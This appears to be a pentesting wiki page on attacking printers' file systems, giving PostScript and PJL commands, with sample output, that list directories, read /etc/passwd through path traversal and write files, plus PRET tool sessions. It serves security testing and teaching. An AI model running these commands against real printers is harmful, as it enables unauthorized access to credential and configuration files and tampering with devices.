Pentesting

File system access

PostScript

Retrieve sensitive information like configuration files or stored print jobs, RCE by writting files (like editing rc scripts or replacing binary files). Legitimate language constructs are defined for PostScript and PJL to access the filesystem.

Access the file system with PostScript (note that it could be sandboxed limiting to harmless actions):

> /str 256 string def (%*%../*) % list all files
> {==} str filenameforall
< (%disk0%../webServer/home/device.html)
< (%disk0%../webServer/.java.login.config)
< (%disk0%../webServer/config/soe.xml)
> /byte (0) def % read from file
> /infile (../../../etc/passwd) (r) file def
> { infile read {byte exch 0 exch put
> (%stdout) (w) file byte writestring}
> {infile closefile exit} ifelse
> } loop
< root::0:0::/:/bin/dlsh
> /outfile (test.txt) (w+) file def}} % write to file
> outfile (Hello World!) writestring
> outfile closefile

You can use PRET commands: ls, get, put, append, delete, rename, find, mirror, touch, mkdir, cd, pwd, chvol, traversal, format, fuzz and df :

./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ../..
d - Jan 1 1970 (created Jan 1 1970) bootdev
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi_ss
d - Jan 1 1970 (created Jan 1 1970) dsk_ram0
d - Jan 1 1970 (created Jan 1 1970) etc
d - Jan 1 1970 (created Jan 1 1970) tmp
d - Jan 1 1970 (created Jan 1 1970) webServer

PJL

> @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535 (list all files)
< .\:\:TYPE=DIR
< ..\:\:TYPE=DIR
< PostScript TYPE=DIR
< PJL TYPE=DIR
< saveDevice TYPE=DIR
< webServer TYPE=DIR
> @PJL FSQUERY NAME="0:\..\..\etc\passwd" (read from file)
< @PJL FSQUERY NAME="0:\..\..\etc\passwd" TYPE=FILE SIZE=23
> @PJL FSUPLOAD NAME="0:\..\..\etc\passwd" OFFSET=0 SIZE=23
< root::0:0::/:/bin/dlsh
> @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt" (write to file)
> Hello World!

Anyway accessing files with PJL is not supported by many printers.

You can use PRET commands: ls, get, put, append, delete, find, mirror, touch, mkdir, cd, pwd, chvol, traversal, format, fuzz and df :

./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ..
d - bootdev
d - dsk_jdi
d - dsk_jdi_ss
d - dsk_ram0
d - etc
d - lrt
d - tmp
d - webServer
d - xps

Learn more about possible sandbox bypasses using PostScript and PJL limitations in http://hacking-printers.net/wiki/index.php/File_system_access